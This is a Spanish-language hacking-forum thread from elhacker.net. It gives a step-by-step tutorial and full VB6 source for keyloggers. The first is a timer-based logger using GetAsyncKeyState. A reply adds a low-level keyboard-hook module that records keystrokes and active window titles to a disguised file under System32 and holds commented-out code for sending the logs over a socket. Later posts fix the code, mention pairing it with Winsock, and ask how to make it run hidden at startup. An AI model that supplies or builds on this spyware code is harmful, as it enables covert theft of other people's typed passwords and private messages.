elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 08:30  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo, raul338)
| | |-+  [VB6] Creando un keylogger basico by SharkI
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [VB6] Creando un keylogger basico by SharkI  (Leído 8,866 veces)
shark0

Desconectado Desconectado

Mensajes: 196



Ver Perfil WWW
[VB6] Creando un keylogger basico by SharkI
« en: 17 Agosto 2009, 17:21 »

Creando un Keylogger Basico en Visual Basic 6.0 by SharkI



- ¿Que es un keylogger y como trabaja?
- Conocimientos recomendados
- Comenzando con el manual


¿Que es un keylogger y como trabaja? :
Un keylogger (derivado del inglés: Key (Tecla) y Logger (Registrador); registrador de teclas) es un tipo de software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

Conocimientos recomendados :
Para poder desarollar lo que se mostrará en el manual se requiere conocimientos basicos de Visual Basic 6.0 y también saber que es un caracter ASCII http://es.wikipedia.org/wiki/ASCII

Comenzando con el manual :
Para comenzar voy a poner una tabla sobre las constantes basicas que ofrece Visual Basic para capturar las teclas.



Comencemos, primero abrimos un nuevo proyecto en visual basic seleccionando 'EXE estándar' :



Añadiremos '1 TextBox, 1 Timer y 2 CommandButtons', quedando algo asi :



Explicaré para que es cada control :
- TextBox = Aqui se mostrarán las teclas capturadas
- Timer(TM) = Se encargará de activar/desactivar el keylogger, cuando el keylogger está activo el timer estará verificando cada 10 milisegundos que tecla se ha pulsado, asi que hay que poner el intervalo en 10 milisegundos y en 'Enabled' = False
- 2 CommandButtons = Uno se usará para activar el keylogger y otro para desactivarlo.

Vamos a empezar con el codigo de fuente, el keylogger necesitará usar la api llamada 'GetAsyncKeyState' asi que la añadimos a la parte 'General' del codigo de fuente y nos dirigimos al timer, a partir de ahora iré poniendo comentarios en el mismo codigo de fuente :

Código:
Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

Private Sub TM_Timer()
 Dim i as integer, x as integer   '# Declaramos i y x como enteros
 For i =  8 to 222  '# El bucle recorrerá desde el valor 8 hasta el 222

  x = GetAsyncKeyState(i)  '# Obtendrá la tecla que se situa en el entero i
  
 Select case i  '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
                     '# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
                     '# ir fijando en la anterior lista que he puesto al principio
 
 If x = -32767 Then  '# Verificamos si se ha pulsado alguna tecla
   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "   '#  Recibimos la tecla y la interpretamos
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "F1"
   Case vbKeyF2: Text1.Text = Text1.Text & "F2"
   Case vbKeyF3: Text1.Text = Text1.Text & "F3"
   Case vbKeyF4: Text1.Text = Text1.Text & "F4"
   Case vbKeyF5: Text1.Text = Text1.Text & "F5"
   Case vbKeyF6: Text1.Text = Text1.Text & "F6"
   Case vbKeyF7: Text1.Text = Text1.Text & "F7"
   Case vbKeyF8: Text1.Text = Text1.Text & "F8"
   Case vbKeyF9: Text1.Text = Text1.Text & "F9"
   Case vbKeyF10: Text1.Text = Text1.Text & "F10"
   Case vbKeyF11: Text1.Text = Text1.Text & "F11"
   Case vbKeyF12: Text1.Text = Text1.Text & "F12"
   Case vbKeyF13: Text1.Text = Text1.Text & "F13"
   Case vbKeyF14: Text1.Text = Text1.Text & "F14"
   Case vbKeyF15: Text1.Text = Text1.Text & "F15"
   Case vbKeyF16: Text1.Text = Text1.Text & "F16"
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
 End Select
 End if

End Sub


Vale ya tenemos las teclas basicas que nos facilito las constantes de visual basic, pero que pasa con todas las que faltan?, para las siguientes usaremos los carácteres ASCII ya que para esas teclas no hay constantes facilitadas. Para ello vamos a hacer un pequeño programa para poder saber que valor ASCII tiene cada una de las letras, vayamos a un nuevo proyecto 'EXE estándar' y añadimos '1 TextBox y 1 CommandButton', quedando algo así :



Ahora con la función 'Asc' podemos obtener el valor Ascii, miremos el codigo de fuente del 'CommandButton' :

Código:
Private Sub Command1_Click()
 Text1.Text = Asc(Text1.Text)
End Sub

Bueno ahora el carácter que se escriba en el 'TextBox' se transformará en caracter Ascii solo pulsando el 'CommandButton', ahora solo nos queda agregar los carácteres que faltan al proyecto del keylogger de la siguiente manera :

Dentro del 'Select Case', como un 'Case' más :
Código:
Case 112: Text1.Text = Text1.Text & " [F1] "  '#  112 es el valor ASCII de la tecla F1

Bueno aqui acabo el manual, espero que les sea de gran ayuda y que aprendan mucho, si quieren compartir este manual no olviden poner el respectivo autor.

Saludos!  ;)


« Última modificación: 17 Agosto 2009, 20:11 por Sharki » En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.065


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #1 en: 17 Agosto 2009, 17:36 »

Jeje, está bueno pero se puede optimizar  :P. Por ejemplo, para las teclas de letras a-z puedes usar un bucle for y sacar la letra a partir del vKey (creo que coincidía con el valor ascii de la tecla, ya no recuerdo bien  :-\) y para las teclas numéricas 0-9 igual. Además, luego si quieres hacer que distinga entre mayúsculas en minúsculas, usando GetKeyState, bastaría con hacer una comprobación dentro del for, sin tener que añadir mas casos al select. En lo único que tend´rias que utilizar tantos casos es para las teclas de los símbolos como !"·$.

Espero que te sirva de algo  :P


En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
shark0

Desconectado Desconectado

Mensajes: 196



Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #2 en: 17 Agosto 2009, 17:43 »

Jeje, está bueno pero se puede optimizar  :P. Por ejemplo, para las teclas de letras a-z puedes usar un bucle for y sacar la letra a partir del vKey (creo que coincidía con el valor ascii de la tecla, ya no recuerdo bien  :-\) y para las teclas numéricas 0-9 igual. Además, luego si quieres hacer que distinga entre mayúsculas en minúsculas, usando GetKeyState, bastaría con hacer una comprobación dentro del for, sin tener que añadir mas casos al select. En lo único que tend´rias que utilizar tantos casos es para las teclas de los símbolos como !"·$.

Espero que te sirva de algo  :P

Jeje si, lo hice rapido y basico para que se entienda mas o menos como trabaja.

Saludos y gracias!  ;D
En línea

Spider-Net


Desconectado Desconectado

Mensajes: 1.052


Un gran poder conlleva una gran responsabilidad


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #3 en: 17 Agosto 2009, 18:24 »

Estaría bien uno de estos pero en vez de con Timers mediante un hook a las teclas. Obviamente sería más optimizado todavía. He visto por aquí ya varias veces a seba123Neo y algunos más recomendar siempre que se habla de keyloggers el hacerlo mediante hooks en lugar de con un timer aunque la verdad es que yo nunca lo he probado.

A mí me gustaría verlo por curiosidad ya que hace bastante tiempo que no diseño malware, pero no sé, nunca vi como se hace con hooks. Al final me pondré a investigar y a saber como se hace porque me pica la curiosidad ya xD

Un saludo.
En línea

"Si cuando hablas nadie se molesta, eso es que no has dicho absolutamente nada."
[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.065


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #4 en: 17 Agosto 2009, 18:51 »

Con hooks es mejor, con un timer siembre se puede escapar alguna tecla o capturar la misma tecla demasiadas veces, en cambio se capturas los mensajes con un hook no se escapa nada  ;D. Hace tiempo (cuando programaba en VB  :xD) quise hacer un keylogger y encontré un ejemplo el cual modifiqué un poco, no recuerdo de donde lo saqué:

Código
Option Explicit
 
Private Type KBDLLHOOKSTRUCT
code As Long
End Type
 
Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
 
Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const VK_SHIFT = &H10
Private Const VK_CAPITAL = &H14
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1
 
Dim hook As Long
Dim titulo As String
Dim ultima As String
Dim strInfo As String
Dim ruta As String
Dim handle As Long, ln As Long
Dim i As Integer
Dim hookKey As KBDLLHOOKSTRUCT
Dim intercept As Boolean
Dim keyCode As Long
Dim tec As String
Public socketconnected As Boolean
 
 
Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
 
If wParam = WM_KEYDOWN Then
   Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
   keyCode = hookKey.code
 
   Select Case keyCode
       Case 8
           tec = tec & "{BACK}"
       Case 9
           tec = tec & "{TAB}"
       Case 17
           tec = tec & "{CTRL}"
       Case 18
           tec = tec & "{ALT}"
       Case 32
           tec = tec & " "
       Case 35
           tec = tec & "{END}"
       Case 36
           tec = tec & "{HOME}"
       Case 46
           tec = tec & "{DEL}"
       Case 91
           tec = tec & "{LWIN}"
       Case 92
           tec = tec & "{RWIN}"
       Case 96
           tec = tec & "0"
       Case 97
           tec = tec & "1"
       Case 98
           tec = tec & "2"
       Case 99
           tec = tec & "3"
       Case 100
           tec = tec & "4"
       Case 101
           tec = tec & "5"
       Case 102
           tec = tec & "6"
       Case 103
           tec = tec & "7"
       Case 104
           tec = tec & "8"
       Case 105
           tec = tec & "9"
       Case 106
           tec = tec & "*"
       Case 107
           tec = tec & "+"
       Case 109
           tec = tec & "-"
       Case 110
           tec = tec & "."
       Case 111
           tec = tec & "/"
       Case 112
           tec = tec & "{F1}"
       Case 113
           tec = tec & "{F2}"
       Case 114
           tec = tec & "{F3}"
       Case 115
           tec = tec & "{F4}"
       Case 116
           tec = tec & "{F5}"
       Case 117
           tec = tec & "{F6}"
       Case 118
           tec = tec & "{F7}"
       Case 119
           tec = tec & "{F8}"
       Case 120
           tec = tec & "{F9}"
       Case 121
           tec = tec & "{F10}"
       Case 122
           tec = tec & "{F11}"
       Case 123
           tec = tec & "{F12}"
       Case 186
           tec = tec & ";"
       Case 187
           tec = tec & "="
       Case 188
           tec = tec & ","
       Case 189
           tec = tec & "-"
       Case 190
           tec = tec & "."
       Case 191
           tec = tec & "/"
       Case 192
           tec = tec & " "
       Case 219
           tec = tec & "["
       Case 220
           tec = tec & "\"
       Case 221
           tec = tec & "["
       Case 222
           tec = tec & "'"
   End Select
 
   If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           If GetKeyState(VK_CAPITAL) > 0 Then
               tec = tec & LCase(Chr(keyCode))
           Else
           tec = tec & UCase(Chr(keyCode))
           End If
       Else
           If GetKeyState(VK_CAPITAL) > 0 Then
               tec = tec & UCase(Chr(keyCode))
           Else
               tec = tec & LCase(Chr(keyCode))
           End If
 
       End If
 
   ElseIf keyCode = 13 Then
       tec = tec & vbNewLine
   End If
End If
 
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
 
End Function
 
Public Function KeyboardHook()
hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function
 
Public Function Unhook()
Call UnhookWindowsHookEx(hook)
hook = 0
Unhook = 1
End Function
 
Public Function Capturar()
ruta = System32 & "\backup32.dat"
 
Open ruta For Input As #1
Dim Datos As String
Get #1, , Datos
Close #1
 
Dim myTimer
myTimer = SetTimer(0, 0, 1, AddressOf TimerProc)
Call KeyboardHook
End Function
 
Private Sub TimerProc(ByVal hwnd As Long, ByVal lMsg As Long, ByVal lTimerID As Long, ByVal lTimer As Long)
ultima = titulo
handle = GetForegroundWindow
ln = GetWindowTextLength(handle)
titulo = String(ln, Chr$(0))
GetWindowText handle, titulo, ln + 1
 
If titulo <> ultima And ultima <> "" And tec <> "" Then
   GuardarDatos (tec)
   tec = ""
End If
 
End Sub
 
Private Function GuardarDatos(tec As String)
If socketconnected = True Then
 
   'Open ruta For Input As #1
   'Dim Datos As String
   'Datos = Space(LOF(1))
   'Get #1, , Datos
   'Close #1
   'If Datos <> "" Then
   'Envia "DatKey|" + Datos
   'End If
   'Envia "DatKey|" + "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
Else
   Open ruta For Append As #1
   Print #1, "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
   Close #1
End If
End Function
 
Public Function NoCapturar()
Unhook
hook = 0
End Function

Es un módulo muy viejo, seguro no es ejemplar pero bueno  :xD.

Karcrack creo que tambien hiciera un tutorial sobre un keylogger mediante hooks no se donde.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Spider-Net


Desconectado Desconectado

Mensajes: 1.052


Un gran poder conlleva una gran responsabilidad


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #5 en: 17 Agosto 2009, 18:57 »

Jejeje, muchas gracias porque la verdad me picaba la curiosidad, justo hace un momento acabo de leer un pequeño tutorial de karcrack que explicaba como hacer un keylogger mediante hook al teclado y no es nada complicado, la verdad es que está bastante bien. El manual lo encontré en el foro de code-makers, en la ezine 1.

No lo copio aquí porque no sé si le puede molestar a karcrack por lo que si puede que lo postee él, la verdad es que está bastante bien explicado y bastante sencillo. Yo te felicito por si me lees karcrack.

Un saludo ;)
En línea

"Si cuando hablas nadie se molesta, eso es que no has dicho absolutamente nada."
Karcrack


Desconectado Desconectado

Mensajes: 2.192


Se siente observado ¬¬'


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #6 en: 17 Agosto 2009, 19:18 »

@Spider-Net: Me alegro que te gustara :P
Para cualquiera que lo quiera leerlo lo acabo de postear aqui ;):
Código:
http://foro.elhacker.net/programacion_vb/vb_creacion_de_un_keylogger_avanzado_hook-t264469.0.html

Saludos ;)
« Última modificación: 17 Agosto 2009, 19:21 por Karcrack » En línea

shark0

Desconectado Desconectado

Mensajes: 196



Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #7 en: 17 Agosto 2009, 19:59 »

Muy bueno lo del hook, ahora me lo leeré detenidamente  ;-)
En línea

‭‭‭‭jackl007


Desconectado Desconectado

Mensajes: 1.381


[UserRPL]


Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #8 en: 17 Agosto 2009, 20:16 »

Con HOOKs es mejor...
yo estaba ayudando a programar uno en c++, pero para un keylogger inteligente (los registros los elabora en HTML, elimina informacion innecesaria...etc)
En línea

darkside6666

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #9 en: 9 Noviembre 2010, 15:29 »

hola. buenas

tengo la necesidad de usar un KL

Quisiera saber si este Kl  se puede arrancar junto con el inicio de la maquina.

sin usar los command buton o sea que capture sin necesidad de arrancarlo y despues buscar el txt con las capturas.

se agradece mucho , soy muy inexperto en vb.

gracias.
En línea
Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.005



Ver Perfil WWW
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #10 en: 9 Noviembre 2010, 16:42 »

hola. buenas

tengo la necesidad de usar un KL

Quisiera saber si este Kl  se puede arrancar junto con el inicio de la maquina.

sin usar los command buton o sea que capture sin necesidad de arrancarlo y despues buscar el txt con las capturas.

se agradece mucho , soy muy inexperto en vb.

gracias.
La respuesta es no, este ejemplo no.
Para la proxima no revivas un post tan viejo, por favor. ;)
Parece que buscas software...
Y si se me permite decir, hay ejemplos mucho mejores que este, un ejemplo:
http://goo.gl/0EfGv
(tampoco incluye iniciarlo con Windows, pero bueno, eso lo buscas a parte)

DoEvents! :P
En línea

xSundeRx

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #11 en: 19 Noviembre 2010, 00:38 »

El código q pusiste te tira errores aca lo corregí:

Citar
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub TM_Timer()
Dim i As Integer, x As Integer   '# Declaramos i y x como enteros
 
For i = 8 To 222   '# El bucle recorrerá desde el valor 8 hasta el 222

x = GetAsyncKeyState(i)  '# Obtendrá la tecla que se situa en el entero i
 
If x = -32767 Then  '# Verificamos si se ha pulsado alguna tecla
 
Select Case i  '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
                     '# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
                     '# ir fijando en la anterior lista que he puesto al principio
 

   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "   '#  Recibimos la tecla y la interpretamos
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "F1"
   Case vbKeyF2: Text1.Text = Text1.Text & "F2"
   Case vbKeyF3: Text1.Text = Text1.Text & "F3"
   Case vbKeyF4: Text1.Text = Text1.Text & "F4"
   Case vbKeyF5: Text1.Text = Text1.Text & "F5"
   Case vbKeyF6: Text1.Text = Text1.Text & "F6"
   Case vbKeyF7: Text1.Text = Text1.Text & "F7"
   Case vbKeyF8: Text1.Text = Text1.Text & "F8"
   Case vbKeyF9: Text1.Text = Text1.Text & "F9"
   Case vbKeyF10: Text1.Text = Text1.Text & "F10"
   Case vbKeyF11: Text1.Text = Text1.Text & "F11"
   Case vbKeyF12: Text1.Text = Text1.Text & "F12"
   Case vbKeyF13: Text1.Text = Text1.Text & "F13"
   Case vbKeyF14: Text1.Text = Text1.Text & "F14"
   Case vbKeyF15: Text1.Text = Text1.Text & "F15"
   Case vbKeyF16: Text1.Text = Text1.Text & "F16"
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "

End Select

End If

Next
End Sub

Eran pavadas pero bue...

Desde ya gracias me sirvio con un programillo q estoy haciendop con un Winsock
En línea
farisnt

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #12 en: 4 Julio 2011, 16:33 »

HI
thanks for the code, its good, but I need somehelp in this code as I see that the keylogger can only type letters in CAPS like when I type 'a' on the keyboard, it record on the program as 'A' not 'a'I try to change something in the code and use the CHR$(KEYASCI) but it did not work
is there any possible help for this
THanks
Please try to make your reply in English as I dont know how to reach your lang. google translate is not that good in translating
Thanks again
En línea
RHL


Desconectado Desconectado

Mensajes: 968


mental


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #13 en: 4 Julio 2011, 18:31 »
